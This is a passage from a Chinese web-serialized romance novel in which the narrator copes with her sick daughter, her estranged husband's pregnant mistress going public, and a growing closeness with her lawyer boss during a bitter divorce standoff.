顾时序道:“如果叶昭昭真的像你们说的这样,她就不会送朵朵来医院。”
说完,他直接叫来孙杰,让他把姜淑慧和苏雅欣轰走。
苏雅欣见状,摸着自己的小腹,抽泣着道:“时序哥,你真的不要这个孩子吗?这也是你的亲生骨肉啊!妈只是脾气急而已,就算我这一胎是男孩儿,我也不会重男轻女,一定会和以前一样对朵朵好的。”
可顾时序表情没有任何松动。
孙杰叫来保镖,姜淑慧一边被往外推,一边还在不甘心地骂骂咧咧:“叶昭昭!肯定是你在时序面前挑拨离间!真没见过你这么不要脸的女人!你这个贱人,就是你把朵朵克成现在这样的!”
终于,她的声音越来越远。
这时,珊珊突然跑到朵朵床边,对我们道:“朵朵醒了!”
我和顾时序这才发现病床上的朵朵已经睁开了眼睛。
“我去叫医生!”
顾时序立刻去医生办公室。
很快医生赶来给朵朵做了仔细的检查。
检查完毕后,医生道:“孩子已经脱离危险了,各项指标都趋于稳定,之前的高烧没有影响到智力,后续注意护理就行。”
我悬了一路的心终于落了地。
顾时序也明显松了口气。
此时,病床上的朵朵哽咽道:“妈妈……我要妈妈……昨天妈妈去哪里了?我叫了很久妈妈,她都不理我。”
顾时序愁眉不展,知道女儿叫的是苏雅欣,但他才刚把苏雅欣和姜淑慧轰走。
我看着病床上死里逃生的朵朵一醒来还是要苏雅欣时,只觉得格外灰心。
只有霍珊认真地跟朵朵解释着:“你妈妈和你奶奶让你一个人在家,你发烧都没人管。是叶阿姨把你送到医院来的,叶阿姨可着急了,都哭了。”
霍珊话音刚落,朵朵便恨恨道:“你胡说!我妈妈才不会不管我呢!你和那个坏女人一起欺负我,你们走!”
累意像潮水般涌上来,这父女俩,真令人寒心啊!
我什么都没说,对霍珊道:“珊珊,过来,我们该走了。”
霍珊犹豫了一下,还是乖巧地走到我身边。
我拉起她的手,离开了病房。
顾时序快步跟了出来,拦住我的去路。
他蹙眉,语气带着一丝不易察觉的慌乱,“你真的这么绝情,连亲生女儿都不管了?”
我抬眼看向他,眼神平静得没有一丝波澜,“三年前,你对我撒下那个弥天大谎,让朵朵认别人做妈的时候,就该想到今天。顾时序,论绝情,我跟你比,真是小巫见大巫。”
顿了顿,我加重了语气:“你已经是个不合格的丈夫了,麻烦你以后做个合格的父亲。否则,朵朵当初还真不如夭折!至少不用来这世上,受这么多没必要的罪。”
说完,我不再看他,拉着霍珊的手,头也不回地离开。
路上,我安静的开车,霍珊在一旁更是乖得连呼吸都很清浅。
快到家的时候,她小心翼翼地说:“叶阿姨,你哭了。”
说着,她从口袋里拿出一块可爱的方形手帕递给我。
“谢谢。”
我挤出一抹微笑,将她搂进怀里,不止一次地想,如果朵朵像珊珊这般,该有多好?
到家后,我只觉得身心俱疲,连做饭的力气都没有了。
“珊珊,我们今天晚上订外卖,好不好?”
霍珊很乖地点头,道:“那我先去做作业。”
她去了书房,而我一个人坐在卧室里,没有开灯。
从今天的情形看,苏雅欣刚怀孕,就可以对朵朵不闻不问,任由朵朵高烧到惊厥。
以后,朵朵的日子,只怕会越来越难。
不知道顾时序能不能保护好她?
尽管我被这孩子反反复复地伤透了心,可想到以后她的日子,我心里还是不好受。
不知过了多久,门铃响了。
我以为是外卖到了,立刻去开门。
可我没想到,门口站着的人,居然是沈宴州。
今天的他穿了件深灰色的羊绒大衣,衬得他肩宽腰窄,身形愈发修长。
他乌黑的短发上落了层薄雪,连呼出的气息都带着白雾,整个人像从冬日寒画里走出来的,却莫名让人移不开眼。
我心头一跳,涌上股说不清的悸动,下意识问:“你怎么来了?”
他淡淡地说:“珊珊给我打电话,说你晚上要带她吃外卖。你一个大人对付吃没关系,小孩子总吃这些,怎么长身体?”
“我……”
我刚开口,还未来得及解释,霍珊就从书房出来了。
她小跑到沈宴州身边,仰着小脸道:“是我让沈叔叔来的!沈叔叔之前说,我想爸爸妈妈的时候,可以把叶阿姨和沈叔叔当自己的爸爸妈妈呀!”
“爸爸妈妈”四个字让我脸颊瞬间发烫。
而沈宴州神色依旧平静,只是轻轻揉了揉霍珊的头顶。
我这才注意到他另一只手拎着两个牛皮纸袋,里面装着许多食材,应该是小区附近的进口超市买的。
这章没有结束,请点击下一页继续阅读!沈宴州眉峰微蹙,道:“不让我进去?”
我有些局促的侧身让他进来,语气里带着点歉意,“抱歉,我今天太累了,所以……才没做饭。”
沈宴州瞥了我一眼,径直走进客厅,脱了外套递给我。
我接过外套的时候,指尖还能触到外套上他残留的体温。
而沈宴州已经去了厨房,挽起衬衫袖口露出小臂,动作熟练地打开水龙头。
我帮他挂好外套就跟进了厨房,想帮他打下手。
可我刚想动一旁的菜,就被他移开。
沈宴州声音沉沉的:“累了就去休息,饭好了我叫你。”
我没走,靠在厨房门框上,看着他洗、切、炒,动作有条不紊。
暖黄的灯光落在他身上,冲淡了深冬的冷意。
我犹豫了会儿,开口道:“你消失了那么久,突然来我家做饭,我……挺不习惯的。”
沈宴州手里的铲子顿了顿,转过身看向我,眼神深邃得让人看不透:“我为什么消失这么久,你心里没数?”
我愣住了,满脸疑惑地看着他:“什么意思?”
他却移开目光,继续手中的事情,声音淡了下去:“听不懂就算了。”
……
因为已经八点多,他没做复杂的菜,只做了三菜一汤。
卖相很味道都很好。
霍珊平时饭量很小,这次却吃了整整一碗米饭。
吃完晚饭,霍珊趴在窗户边,喃喃道:“今年的第一场雪哎……”
沈宴州走过去,顺着她的目光看向窗外,柔声问:“珊珊想去楼下堆雪人吗?”
霍珊眼睛瞬间亮了,问:“真的吗?可以吗?”
沈宴州笑着摸摸她发顶,道:“当然可以。”
我本不想下去的,说实话,朵朵这件事让我心里很乱,很烦躁。
可霍珊缺拉着我道:“叶阿姨,你也一起嘛,我们堆个有胡萝卜鼻子的雪人!”
我没好再推辞,给霍珊裹了件厚羽绒服,自己也穿上外套,便跟着他们一起去了楼下。
小区里,雪已经积了厚厚的一层,踩上去咯吱作响,路灯把雪地照得泛着暖光。
霍珊现在已经不像刚来的时候这么沉默寡言了,雪地里,也释放出了小孩子天性。
只是我没想到,一向严肃的沈宴州,会对孩子这么有耐心。
“沈叔叔,雪人要戴围巾!”霍珊举着自己的小熊围巾喊。
沈宴州怕她冻着,便把自己的卡其色围巾戴在了雪人脖子上。
我站在一旁恍惚地看着他们,大多数时候都在发呆。
就在这时,一个小小的雪球砸在我身上。
我愣住,霍珊正调皮地笑着看我。
似乎怕我生气,她道:“是沈叔叔让我砸的,他想让你跟我们一起堆雪人。”
沈宴州没有否认,而是道:“你要是一直这么扫兴,那就上去吧!免得下来白白吹风。”
霍珊过去把我拉过来,因为走得太快,我一只脚陷进了雪地里,一个没站稳,整个人往沈宴州的方向倒去。
……
与此同时。
他们谁都没有发现,角落处,站着一个孤寂的影子。
方才他看见叶昭昭要跌倒,几乎是本能地往前迈了半步,脚尖都踮了起来,可那步终究没落地。
因为,叶昭昭已经跌在沈宴州身上,他们一起滚进了雪地里。
好一会儿,他看见叶昭昭慌慌张张从他身上爬起来,手忙脚乱捏了个小雪球砸向他。
沈宴州任由她一次次地砸着他,很明显,他很享受,还在笑。
后来,他抬手帮叶昭昭拂掉身上的雪。
而那个阴暗的角落,顾时序的脚步僵得像块冰。
他眼睁睁看着叶昭昭跌进沈宴州怀里,看着她没生气、没推开,反而用那样带着点娇憨的方式掩饰慌乱。
他太熟悉这个模样了。
年少时叶昭昭怕黑,躲在他身后会偷偷拽他衣角,却还是用其他表情和动作掩饰自己的恐惧;第一次收到他送的花,她会红着脸把花往他怀里塞,说“不好看”。
他知道,叶昭昭也对沈宴州上了心。
此刻雪光映着那女人脸上的笑,软得像化开的糖。
可这笑容,再也不是为他而生。
如今叶昭昭看他的眼神,只剩拒人千里的冷漠,比这夹着雪的风还刺骨。
他下意识攥紧了手里的牛皮纸,烤红薯的温度早就散了,只剩硬邦邦的凉。
这是海城一中后巷那家老店的味道。
以前每到冬天,叶昭昭总拉着他去买。
他脑海中依稀浮现出当时叶昭昭吃着烤红薯娇憨的模样,道:“以后,每年第一场雪你都陪我,好不好?”
他笑着捏她被食物塞得鼓鼓的脸颊,道:“好。一言为定!陪你,就买你最喜欢吃的这家烤红薯。”
说到这儿,他有点发愁,“以后,万一他们不干了,可怎么办?”
“那你就跟他们拜师学艺啊!学了做给我吃!”
她晃动着腿,歪着脑袋,天真烂漫到没有一点心事。
可是,他已经四年没买过了。当然,他也从不下厨,更不可能做饭给她吃。
反而,是她做顾太太的这几年,把他照顾得格外周到。
那个十指不沾阳春水的叶昭昭,在嫁给他之后,什么都学会了。
顾时序知道,是从遇见苏念恩开始,叶昭昭就不是他最珍视的女孩儿了。
他总以为,她会像从前那样,不管他走多远、做错多少事,只要他回头,叶昭昭就一定在原地等他。
可现在,苏念恩走了,叶昭昭也走了。
眼前的景象,一个叶昭昭,一个沈宴州,一个霍珊,明明没有半点血缘,却像极了最幸福的一家三口。
沈宴州会帮叶昭昭拂掉头发上的雪,叶昭昭会笑着看他们堆雪人,连风吹过的声音里,都裹着他许久不曾拥有过的暖意。
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第116章 让沈宴州帮我离婚
而他,明明是叶昭昭法律上的丈夫,是朵朵的亲生父亲,却只能攥着这凉透的烤红薯,站在没人看见的角落里。
理智在嘶吼,说朵朵还在医院等着他,说他该走了。
可双脚像被钉死在雪地里,顾时序就这么偏执地站着,任由雪花落满肩头,把黑色大衣染成灰白,自虐式的任由寒风灌进衣领。
不知过了多久,霍珊突然打了个喷嚏,他们这才回去。
霍珊走在中间,一手拉着叶昭昭,一手拉着沈宴州,叽叽喳喳说着刚才堆雪人的趣事,偶尔还会回头冲雪人挥挥手。
昏黄的路灯把他们三个的影子拉得很长。
直到那三道背影彻底消失在楼栋门口,楼道里的灯亮了又暗,顾时序才从那个没半点光的角落里缓缓走出来。
寒风卷着雪粒,刮得他脸颊生疼,可他像没知觉似的,一步步朝着那个胖胖的雪人走去。
雪人立在原地,沈宴州的卡其色围巾绕在它脖子上,霍珊留下的小熊发卡在雪人头上歪着。
他盯着那雪人,指尖无意识地蜷缩起来,连摸一摸的勇气都没有。
以前在叶家的院子里,他不知道陪叶昭昭堆过多少雪人。
那些日子,雪落在脸上都好像感觉不到冷。
可眼前这个雪人,是沈宴州堆的,和他没有半分关系。
那蜷缩的手指最终紧握成拳。
……
回到家,霍珊还沉浸在堆雪人的兴奋里,小脸蛋红扑扑的。
我拉过她冰凉的小手,连忙催她:“快去浴室泡个热水澡,不然该感冒了,泡澡水我已经帮你放好了。”
霍珊乖巧地点点头,抱着换洗衣物蹦蹦跳跳进了浴室。
浴室里很快传来哗哗的水声,客厅瞬间只剩下我和沈宴州。
我看了眼时间,已经十点了。
沈宴州似乎意识到了什么,道:“太晚了,我该走了。”
他一边穿外套,一边开口道:“马上霍珊放寒假,接着就是过年,我会联系霍明琛,让他尽快来接霍珊。总把孩子放在你这儿,不是长久之计。”
我微微顿了顿,想到霍珊在霍家寄人篱下的日子,道:“如果霍先生那边不方便,我继续照顾珊珊也没关系。她很乖,平时自己写作业、玩玩具,一点都不费心。”
沈宴州抬眼看向我,别有深意地道:“听说朵朵住院了?怕你两头忙不过来。”
提到朵朵,我嘴角的弧度瞬间垮下来,苦涩地笑了笑:“我没什么可忙的。她有顾时序陪着,根本不需要我。”
沈宴州像是看穿我似的,道:“说得这么潇洒,如果真放下了,今天怎么郁闷成这样?要不是我过来,就带着孩子吃外卖?”
我微微叹了口气,没法否认,今天我确实被朵朵的情况吓到了。
“你跟顾时序这个婚,我看,是离不了了。”
沈宴州忽然冒出一句,语气平淡,却像根针轻轻扎在我心上。
我看着他那副冷嘲的样子,积压在心里的委屈和烦躁一下子涌了上来,带着点赌气的意味:“那沈律师有什么好办法吗?你要是能帮我把这个婚离了,我谢谢你八辈祖宗!”
原以为他会生气,没想到他低笑了一声,道:“你这是在激我,想让我替你打离婚官司?”
“明明是你先提这件事的!”
我有些无语,声音渐渐低了下去,染上一抹连自己都没察觉的委屈,“而且……沈律师有时候说话真的很伤人。既然你帮不了我,就别总说这种话戳人的心窝子。”
客厅里静了片刻,沈宴州忽然起身,高大的身影朝我凑近,身上淡淡的烟草气息随之裹了过来。
他嗓音低哑,带着几分不易察觉的暧昧:“那你想让我怎么帮,嗯?”
我心跳突然漏了一拍。
可我现在跟他究竟是什么关系呢?我凭什么让他一次又一次的帮我?
他帮了我,我又能拿什么还?
我勉强扯出个笑,往后退了半步,道:“我开玩笑的,不敢劳烦沈律师。”
沈宴州的目光在我脸上停留了几秒,没再继续这个话题,点头道:“我该走了,你早点休息。”
“我送你下去吧。”
我起身跟着他出了门。
我们一路没说话,直到看着他的车汇入夜色,尾灯渐渐消失,我才转身准备上楼。
可刚转过去,身后就传来一个熟悉的声音:“昭昭。”
我不可思议地回头,顾时序竟然站在雪地里。
路灯的光落在他肩头,一层薄薄的雪像撒了层糖霜。
我心尖猛地一紧,下意识蹙起眉。
顾时序目光撞进我戒备的眼神里,喉结动了动,嘴角牵起抹苦笑:“见到我,就这么厌恶?”
我别开眼,声音压得平淡无波:“你不在医院照顾朵朵,来这里干嘛?”
他没答,反而慢慢把手从大衣口袋里拿出来。
他手里攥着个牛皮纸袋,边缘被捏得发皱,一道道扭曲的纹路像极了我们这几年支离破碎的婚姻。
“以前你最喜欢吃的那家烤红薯,我答应过你,每年第一场雪都会给你买这个。”
这章没有结束,请点击下一页继续阅读!他声音低了些,道:“可惜……都凉了。”
风裹着雪沫子吹过来,我鼻尖忽然一酸。
那时候的我多天真啊,以为他对我的点点滴滴,每一件小事,每一个承诺,这就是爱情。
连我身边的人也这么觉得。
可原来,从头到尾都是我自作多情,他从没爱过我,那不过是我自作多情的幻想罢了!
我目光落在他手里凉透的红薯上,语气没有一丝波澜:“凉了就扔了吧。”
说完我转身就走,手腕却突然被人攥住。
他掌心冷的像冰,我下意识地瑟缩了一下,想把手抽回来。
他却攥得更紧,指节都泛了白:“昭昭,我想跟你谈谈。”
我以为他要说朵朵的事,所以点点头:“谈吧。”
顾时序喉结动了动,叹息道:“我对雅欣好,是看在念恩的面子。更重要的是,这四年她养育朵朵尽心尽力。”
风卷着雪沫子打在脸上,我却没什么感觉,心里像被冻住了一样毫无波澜。
听他说完,我只是淡淡开口:“你想对谁好都可以,跟我没关系。”
顾时序继续道:“我会解决好雅欣的事,你放心。那个孩子……是个意外,我不会让她生下来,不会让她影响到我们。”
他的话却只换来我更深的麻木。
我语气没有半分起伏:“你怎么处理苏雅欣,是你的事。我现在只关心,你什么时候能跟我做个了断,把离婚手续办了。”
他脸上的期待瞬间垮下来,死死盯着我:“你这么决绝,一点余地都不给我们彼此留,是因为沈宴州,是吗?”
我连反驳的力气都快没有了,声音里带着几分无力:“到现在你都觉得,我们的婚姻走到这一步,是别人的错吗?顾时序,你好好想象一下,如果你是我,你经历了我经历的一切。被欺骗、被冷落、被伤害,你会不会原谅?”
顾时序嘴唇微微动了动,却一个字都说不出来,良久,才声音沙哑的说:“对不起。”
我目光清明而坚定的看着他,道:“我们的婚姻变成这样,跟沈宴州、苏雅欣,甚至苏念恩都没有关系。是你的冷漠,你的自私,还有你的自以为是!”
我深吸一口气,道:“顾时序,我不管你怎么处理苏雅欣的事,也不管你以后想对谁好。但我请你一定保护好朵朵,别再让她受伤害,别再发生这次这种意外!”
说完,我没再看他一眼,转身快步走进楼道,将漫天风雪和他的身影彻底隔绝。
我刚进家门,手机便震动起来,是顾时序发来的信息。
他说朵朵还在生病,希望我能每天抽空去看看孩子。
可我不想再因为朵朵和顾时序有任何牵扯,更何况,那孩子压根就不需要我。
于是,我只简单回了一句:“我相信你能照顾好她。”
虽然我没有再去医院看过朵朵,可从第二天起,顾时序的信息却从未间断。
他每天都会给我发来朵朵的各种状况。
“今天朵朵烧退了,精神好了不少。”
“中午吃了小半碗粥,还主动吃了药。”
“刚才跟家里的阿姨说想玩积木了。”
每天信息的最后,总会附上一句:“昭昭,我会想办法让朵朵接受你,再相信我一次。”
我一次都没回复过,但他似乎并不在意,依旧每天都发许多关于朵朵的消息。
……
转眼间一周过去。
这天,我像往常一样去接霍珊放学。
刚到学校门口,就看到了朵朵的身影。
她看起来已经完全康复,气色好了很多,身边陪着的是顾时序的助理孙杰。
看到我,孙杰立刻礼貌地打招呼。
我忍不住问他:“怎么是你来接朵朵?顾时序呢?”
孙杰闻言,无奈地叹了口气,解释道:“那天顾总正在跟一个重要客户谈判,中途得知朵朵生病的消息,二话不说就撂下一屋子人赶了回来。最后,那个项目最后被沈宴州捷足先登,顾氏损失惨重。这段时间,顾总天天在公司处理烂摊子,根本抽不出时间来接孩子。”
我顺着孙杰的目光看向朵朵,只见她耷拉着小脑袋,一副无精打采、很不开心的样子。
她的眼神几次落到我身上,可每次都只是抿了抿嘴唇,没跟我说一句话,最后便跟着孙杰径直上了车。
而霍珊最近倒是越来越开朗,脸上总挂着笑。
坐进车里后,她笑眯眯地说:“叶阿姨,老师今天说了,还有一周我们就要放寒假啦!”
我忽然想起快过年了,便顺口问她:“那珊珊想爸爸妈妈了吗?过年想不想跟他们一起过?”
霍珊脸上的笑容淡了些,她垂下眸子,小声说:“我想爸爸。”
我心里轻轻叹了口气,霍太太平时对霍珊那么刻薄,孩子只惦记爸爸也是情理之中的事。
就在这时,霍珊突然抬起头,眼神格外认真地看着我,问:“叶阿姨,是不是只要爸爸妈妈有了弟弟妹妹,就不会再疼爱我们了呀?”
这章没有结束,请点击下一页继续阅读!我心里一紧,道:“当然不会了。爸爸妈妈对每个孩子的爱都是一样多的,除非是那些偏心的父母,才会厚此薄彼。”
霍珊却轻轻叹了口气,语气带着几分似懂非懂的失落:“可是朵朵的爸爸妈妈好像也很偏心。她说她妈妈肚子里有小弟弟了,家里所有人都特别期待小弟弟,已经很久没人理她了。”
我握着方向盘的手不自觉地收紧,顺着她的话问:“这些话,是朵朵亲口跟你说的吗?”
霍珊摇了摇头,道:“不是的,朵朵不太喜欢我,她才不会跟我说这些呢。是今天课外活动的时候,我听见她跟玩得最好的那个小朋友说的。”
我沉默着点了点头,心里却泛起一阵担忧。
其实顾时序要不要留下苏雅欣的孩子,我根本不在乎。
可看着朵朵如今这副像被全世界抛弃的模样,我难免还是会心疼。
晚上回去,我更新完小说,熬夜缝了几件小娃娃的衣服,放在了一个礼盒里。
这还是上次朵朵住院想让我教她的,她对这些很感兴趣。
翌日上学时,我让霍珊帮我把这个带给朵朵。
霍珊看到盒子里那些精美的娃娃衣服和裙子,感叹道:“哇!好漂亮啊!”
我笑了笑,道:“如果你喜欢,晚上你放学,阿姨教你做。”
“真的吗?”
霍珊开心极了,跟我保证道:“阿姨你放心吧!我一定把你做的这些交给朵朵。她肯定会喜欢的!”
我欣慰的摸了摸她的脑袋。
送完霍珊,我回到公司上班。
刚坐到工位,孟云初就凑到我工位前,一副严肃凝重的样子。
她压低声音问:“你跟顾时序已经离婚了?”
我一愣,问:“怎么突然问这个?”
孟云初直接把手机屏幕怼到我眼前,指尖点着几分钟前热搜词条:“你自己看!”
我低头看去,屏幕上赫然挂着#顾家长媳苏雅欣怀孕#、#顾氏集团官宣喜事#的热搜。
点进去全是媒体通稿,字里行间都在说苏雅欣怀了顾时序的孩子,是顾家期盼已久的继承人,全网都在跟风祝贺,默认两人“好事将近”。
通稿里甚至还附了姜淑慧接受采访的视频。
镜头前,她笑得满面春风,对着记者细数苏雅欣的“好”,说她怀了孕还体谅顾家,从不恃宠而骄,话里话外都把苏雅欣当成了板上钉钉的顾家儿媳。
虽然顾时序都没有在任何媒体面前露过面,也没有发布任何声明。
但这并不影响舆论走向。
“你再看她的社交账号。”
孟云初滑动着屏幕,语气带着几分不屑,“都这时候了还不忘营销,三天两头晒怀孕拍戏的照片,做戏的手段真是一套一套的。”
我扫了眼苏雅欣刚发的动态。
照片里她穿着宽松的戏服,手轻轻护着小腹,背景是杂乱的剧组现场,配文写着“为了角色,坚持到底”。
下面满屏都是粉丝狂热的追捧:
“姐姐也太拼了吧!怀着孕还在剧组熬夜拍戏,这才是真正的敬业女演员!”
“心疼,真是敬业的好演员!路转粉了!”
“宝宝一定会平安出生的!期待小少爷降临,到时候姐姐就是人生赢家啦!”
“那些黑姐姐的人快闭嘴吧!现在姐姐可是顾家承认的准儿媳,有顾家做后盾,谁也别想欺负她!”
看着这些评论,我只觉得一阵讽刺。
我不知道顾时序现在究竟是个什么态度,但从姜淑慧的反应来看,她已经高兴的找不到北了。
怪不得,朵朵会被忽视成这个样子。
孟云初见状,对我道:“你跟顾时序还没离婚,对不对?这苏家兄妹真是一个比一个下贱!她怎么敢在你跟顾时序还没离婚的情况下,就把怀孕的事公开啊!”
这时,我手机响了,是顾时序打来的。
我走到休息室,接了电话。
那边他刚开口正要解释,我便打断道:“我知道,你要说什么?是你妈为了逼你认下苏雅欣这个孩子,没经过你的同意就发布了苏雅欣怀孕的消息,对吧?”
顾时序明显松了口气,道:“昭昭,你能想明白就好。这段时间我在公司忙的焦头烂额,我没想到我妈竟然把事情弄成这样子。幸好,你没有误会我。”
我道:“你跟苏雅欣上床,她怀孕,一直到现在她怀孕官宣,都不是你的本意。但所有的事都这么发生了!这些事情发生的机会和条件,是你给的,也是你创造的。所以顾时序,你并不无辜。”
顾时序沉默片刻,道:“我会尽快处理好这件事。我……会跟雅欣好好谈,这个孩子我不要。”
“你不用跟我说这些,我只想知道,你什么时候先把我们的事处理好?”
我道:“现在全网都知道苏雅欣怀孕了,大家都在期待你们的婚讯。但顾时序,重婚罪是犯法的。我们得先把离婚办一下,你才能跟她进行下一步。”
顾时序语气沉了几分,道:“事情一发生我第一个想到的就是给你打电话解释。可你就是这么回应我的?叶昭昭,你究竟是想让我跟苏雅欣进行下一步,还是你想跟沈宴州进行下一步!”
小主,这个章节后面还有哦,请点击下一页继续阅读,后面更精彩!我不禁握紧手机,道:“如果现在这个时候我把我们的结婚证亮出来,你说,会怎样!”
“叶昭昭!”
顾时序语气突然凌厉起来,每个字都是从牙缝里挤出来的:“沈宴州抢了顾氏的生意,把顾氏股价弄的一团糟!你要是再敢火上浇油,我会先毁了叶家!你该知道我的手段,我不想鱼死网破,但你不要逼我。”
我知道,现在顾氏的股价摇摇欲坠,要是这时候顾时序再爆出什么能让他身败名裂的新闻,对顾氏绝对是毁灭性的打击。
可事业对于顾时序来说,重要程度绝对是第一位的。
我如果不趁现在逼他一把,那恐怕就必须再经历几个月的煎熬,直到重新上诉打官司了。
因此,我语气也前所未有的强硬起来:“顾时序,我给你三天时间考虑。如果你不答应离婚,那我就把结婚证公布出来!你想拉着叶家和我妈陪葬,可顾氏完了,你妈和苏雅欣又能好到哪里去!你要想鱼死网破,那我们就一起下地狱,谁都别想好过!”
我以为顾时序为了顾氏,也一定不敢跟我鱼死网破。
可他只轻笑了声,道:“你想过朵朵吗?别忘了,朵朵是我的女儿,你让我名誉扫地,让顾家玩完,首当其冲受到伤害的人就是朵朵。叶昭昭,你忍心让认识朵朵的人戳她的脊梁骨,你忍心让她以后在这个圈子里抬不起头吗?”
“顾时序,你浑蛋!”
我握着手机的手在发抖,恨恨道:“你还知道朵朵是你的女儿?可你现在在利用她跟我谈判!”
顾时序冷冷道:“我是想跟你重新开始,好好过的。是你自己,非要把路走死。”
说完,他挂了电话。
我不停地深呼吸,可眼眶还是又酸又痛。
就在这时,休息室的门“咔嗒”一声被推开。
我猛地抬头,撞进沈宴州深邃的眸底。
他目光就定在我通红的眼眶上,眉峰瞬间拧成一道深痕,问:“就这么难受?”
我愣住了,疑惑地看着他。
沈宴州走到窗前,冷冷道:“外公说你电话打不通,让我开导开导你,别因为苏雅欣怀孕的事抑郁了。”
说到最后,他语气带着一抹嘲讽,甚至,还有点恨铁不成钢的愠怒。
我微微怔了下,他该不会以为我在为了顾时序吃醋吧?
我立刻否认道:“我没有难受,苏雅欣怀孕跟我又没关系。”
“那就别在这儿摸鱼,出去工作!”
说完他转身就走,就连背影都冷得跟冰山似的。
接下来的一整天,公司里的气氛都格外压抑。
沈宴州待在办公室里没出来,连从他办公室进出的乔丽和高朗都蹑手蹑脚的。
孟云初偷偷凑到我身边,压低声音说:“你觉不觉得沈总今天不对劲?那脸冷的,跟失恋了似的。”
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第117章 晒结婚证就能打脸渣夫小三
我心跳突然乱了半拍,若有所思地望着沈宴州办公室紧闭的门。
他不高兴……跟我没关系吧?
直到下班铃响,我还没理清头绪,只能先收拾东西去接珊珊。
幼儿园门口,珊珊老远就跑过来,书包上的小兔子挂件晃得不停。
上了车,她便道:“叶阿姨,我今天把你给小娃娃缝的衣服送给朵朵了,她收下啦!”
我笑了笑,问:“她说了什么吗?”
霍珊想了想,道:“她好像很开心!而且,她还跟我道歉了。就是上次她把蛋糕拍在我脸上的事,她说是她不对。”
霍珊眼睛亮得像星星,看得出,她心情也不错。
我挺惊讶的,朵朵居然会主动道歉?
开车回去的路上,霍珊突然想起了什么,道:“叶阿姨,朵朵还邀请我明天放学去她家玩,我可以去吗?”
我顿了顿。
顾家的环境那个样子,再加上朵朵跟顾时序是一个模子里刻出来的。
我实在不敢再轻信顾家的每一个人。
尤其是像朵朵这样突然的示好。
于是,我对珊珊道:“如果你想跟朵朵玩,白天在幼儿园一起玩就很好呀。晚上去人家家里,会打扰别人休息的。”
珊珊眨了眨眼睛,乖巧地点点头:“好,听叶阿姨的。”
回到家,我问:“珊珊,今天晚上想吃什么?”
“沈叔叔上次煎的牛排就很好吃啊。”霍珊歪着脑袋,道:“好像沈叔叔好久没来了,我们给他打电话,让他来做饭,好不好?”
我无奈地摇摇头,蹲下身道:“珊珊,沈叔叔是你的叔叔,但他是叶阿姨的老板。所以,以后咱不让他来做饭了,好吗?你想吃什么,叶阿姨也可以学着做。”
毕竟,沈宴州一样有着上位者的阴晴不定,而且每当跟他相处的时候,我心里总是很紧张很乱。
再加上今天,他莫名其妙生气,我就更不敢主动招惹他了。
霍珊有些失落,道:“那好吧。我去写作业!叶阿姨,你做什么我都爱吃。我只是……”
“只是什么?”
我疑惑地看着她。
霍珊笑笑道:“我只是觉得沈叔叔在的时候,你俩像我的爸爸妈妈。”
我脸颊不禁发烫,却没有继续这个话题,道:“快去写作业吧,阿姨去做饭。”
……
夜里,霍珊已经睡了,我坐在书桌前更新小说。
这时,剧组群里发来消息。
【女一号安染:朋友们,重大消息,苏雅欣开直播带货了!】
【制片人秦薇:???直播带货?她这是觉得娱乐圈的路走不通,准备走网红路线了?】
安染紧接着甩出来苏雅欣在某音上带货的链接,又发了条文字信息:【说是带货,其实是秀恩爱,秀那个怀着顾氏太子爷的肚子呢!】
群里的人纷纷凑热闹,我也挺好奇的,就打开了直播。
果然,十一点多,苏雅欣还在屏幕前跟她的粉丝分享孕初期的反应,而带货链接里全部都是顾氏集团旗下的产品。
反正这波流量,算是被苏雅欣玩得明明白白。
而姜淑慧竟然也跟着苏雅欣出镜了,亲自将燕窝端给苏雅欣,嘘寒问暖。
弹幕上别提多热闹了:
“天啊,豪门婆婆好慈祥,跟我们想象的完全不一样!”
“雅欣嫁给顾总实在太幸福了,老公婆婆全都宠着!”
“那些说明星嫁进豪门受苦的,是能怪他们自己没本事。我们雅欣这么优秀,去哪里都会被宠成公主的!”
“……”
我看着苏雅欣直播的背景,应该是在姜淑慧家,就是上次被我捉奸的卧室里。
就在这时,顾时序也出现了,虽然只在背景里一闪而过,没有在镜头前说话。
可就是这个出现,引起了网友的好感。
“顾总,出来!跟我们说说什么时候跟雅欣办婚礼?”
“顾总要好好对雅欣。这么晚了,雅欣还在帮顾总的公司卖东西!”
“夫妻同心、其利断金,这对小夫妻,一定会越来越好的!”
“……”
苏雅欣一脸笑容地说:“大家不要拿我老公开玩笑了,他脸皮薄,也不喜欢出镜。”
她话音刚落,几十条评论都在猜测,苏雅欣和顾时序是不是已经偷偷领证了?
宋今若大半夜的打来电话,道:“真是给我气死了!老天爷怎么不打个雷劈死这对不要脸的东西啊!你看到那个贱人的直播没?”
我一边码字,一边道:“嗯,正看着呢。”
宋今若突然想起了什么,道:“对了,就你家那个小白眼儿狼,现在是真可怜了!今天晚上老师去顾氏庄园家访,顾时序说有应酬回不来,让老师改天再来。这是有了新孩子,旧孩子不要了吗?”
我心一惊,追问道:“今天晚上朵朵在顾氏庄园?”
“是啊。老师去的时候,就朵朵和一堆保姆在家。因为最近朵朵情绪不好,老师担心,才去家访的。”
宋今若说完,我恍然大悟。
小主,这个章节后面还有哦,请点击下一页继续阅读,后面更精彩!这么说来,现在顾时序他们全都在姜淑慧那儿,没有一个人管朵朵?
怪不得这丫头会主动邀请霍珊去家里。
毕竟,以前她是全家宠着的,现在,却留她孤零零的一个。
……
翌日,我送霍珊去幼儿园的路上,对她道:“如果今天朵朵再邀请你去她家,你可以邀请她来我们这儿。”
霍珊点点头,道:“那万一她不来呢?”
“不来就算了。”
我没有强求,毕竟,我知道自己对于朵朵来说没有任何意义。
可当妈的,想到自己孩子像个破娃娃似的被人抛弃,难免还是有些担心。
但我能做的,也只是伸出手。
至于她愿不愿意抓住我的手,就看她自己了。
我把霍珊送到幼儿园门口,刚好看到顾家的司机给朵朵打开车门。
小姑娘耷拉着脑袋,默默往幼儿园里面走。
这副状态,跟往日里的自信张扬判若两人。
这时,霍珊叫了她一声,她回头,看见我正牵着霍珊的手。
朵朵的眼神落在我身上,看了半天,没理我,也没理霍珊,转身继续往幼儿园里走。
霍珊疑惑地问:“奇怪了,昨天她还主动跟我说话,还说以后可以跟我做朋友呢。怎么今天,又不理人了?”
我叹了口气,道:“大概跟你说的一样,她有了弟弟妹妹,所以……被家人冷落了。”
霍珊眼中露出一抹同情,默默地说:“我也是这样。”
说到这儿,她望着我,很认真地说:“我会关心她的。”
“乖,阿姨谢谢你。”
我欣慰地笑了笑,将她送到班级门口,才离开。
去上班的路上,我真想给顾时序打个电话,质问他是不是真不要这个女儿了?
他口口声声说只要朵朵,却把朵朵一个人丢在那么大的家里,去陪苏雅欣。
